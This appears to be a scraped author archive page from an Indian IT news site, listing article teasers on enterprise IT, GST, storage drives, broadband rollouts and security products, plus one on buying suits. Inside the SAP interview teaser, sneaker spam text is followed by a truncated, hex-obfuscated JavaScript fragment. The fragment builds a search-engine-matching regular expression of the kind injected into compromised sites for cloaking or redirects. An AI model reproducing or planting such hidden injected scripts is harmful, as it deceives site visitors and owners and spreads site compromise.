Predicting IT right

When GMR began work on the Hyderabad International Airport, it was estimated that the airport would cater to five million passengers per annum. The infrastructure, including the backend IT, was accordingly put in place. Halfway through the project, this estimate was raised to seven million passengers per annum, which required GMR to re-configure networks and ports for additional capacity and... By shubhendu.parth

5 simple steps to buying the right suit

Feel the fabric: Suits in this part of the world are largely bought when winters set in, and thus it is not a bad idea to buy something that is 100% natural wool. Apart from providing you the protection, wool is a natural fibre, that is comfortable and durable. Select sober shades: Experimentation is for lads. If you are buying your first or even second suit, then go for dark shades such as navy... By shubhendu.parth

There was no recession in India

SAP Asia-Pacifics Senior V-P (sales) Simon Dale, in a freewheeling interview with Shashwat DC, discusses the global slowdown, the companys mid-term strategy change and why it is extending itself beyond ERP into business intelligence. Air Max 95 Flyknitvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f\x67"+"\x6c"+"\x65\x7c\x59\x61"+"\x68\x6f\x6f"+"\x7c\x53\x6c\x75"+"\... By shubhendu.parth

Ready steady GST

If there is one memory that Sudhir Desai readily wants to forget, it is about the arduous days in 2005 when Value Added Tax (VAT) was introduced in India. As an IT manager with a large white goods company Desai was caught completely unaware because the IT infrastructure was not ready for the changes proposed by the government. Complicating the problem was the fact that different state... By shubhendu.parth

NASSCOM Leadership Forum 2010

NASSCOM India Leadership Forum 2010 would bring together experts who would give insights on the new evolved face of world economy and what would it take to reach the next level of growth. The conference having been scheduled at the cusp of the recovery would be the right time to have global leaders to share their vision with the world and offer a direction to reengineer the fundamental planning... By shubhendu.parth

NEWT Network Inventory Tool

The NEWT Freeware uses a sophisticated light-weight client that gets automatically deployed to remote machines without any user intervention, providing a much faster scan of 20 machines in less than two minutes. This technique is similar to those employed by DameWare, VNC and other remote administration tools. NEWT Freeware 2.5.144 File Name : newtsfx.exeVersion : 2.5.144Date Released : 17/09/... By shubhendu.parth

Blue Coat to set up product development centre

Bangalore: Blue Coat Systems has announced to set up a product development centre in Bangalore by acquiringcontrolling stake in S7 Software Solutions which provides migration and re-engineering services. The company had obtained majority interest in S7 Software, formerly an IT research and development firm, in January this year. The company had been in the process of acquiring the highly-... By shubhendu.parth

Seagate launches 600GB storage drive

New Delhi: Seagatehas launched new storage drive, Savvio 10k.4 drive at 450GB and 600GB capacities. Built for the demands of enterprise servers and to enable new levels of data density in external storage arrays, the device claims to be the first HDD to achieve 2 million hours Mean Time Between Failure (MTBF) reliability rating. Savvio 10K.4 also features Protection Information for enhanced... By shubhendu.parth

Tikona to roll out broadband services in 50 cities

New Delhi: Tikona Digital Networks (TDN), a new entrant in the wireless broadband market,has announced toroll out its Internet services in 50 cities in the current year. The company will launch its services, using 4G (fourth generation) telecom technologies, for greater Internet speed and high level of security. Our Tikona Wi-Bro service is now available in 10 cities and we plan to spend Rs 500... By shubhendu.parth

Building continuous innovation is a huge challenge

Established in 1903, Siemon is one of the leading network cabling players in the global market today. The company boasts of over 400 active patents specific to the structured cabling market and a huge R&D focus. In an exclusive interaction with Jatinder Singh, Carl Siemon shares the companys strategy and India centric plans. Excerpts Q:Siemon is rapidly expanding its presence in the... By shubhendu.parth

Japans SaaS market surpasses $1 bn

New Delhi: The SaaS market in Japan has surpassed US$1 billion in 2009 as adoption of on-demand solutions spreads across all major industries, says the latest report "Japan Software-as-a-Service Market Overview 2010" from Springboard Research. The report revealed that at US$1 billion, Japans SaaS market is larger than the rest of Asia combined. It further projects that the Japans SaaS market... By shubhendu.parth

Websense intros Unified Security Architecture

MUMBAI: Content security provider Websense has introduced a unified security architecture, Triton security platform, for enterprises. The architecture combines web, data and email security technologies into a single platform to deliver unified content analysis and management. According to the company, the architecture aims to protect organisations and their essential information from blended... By shubhendu.parth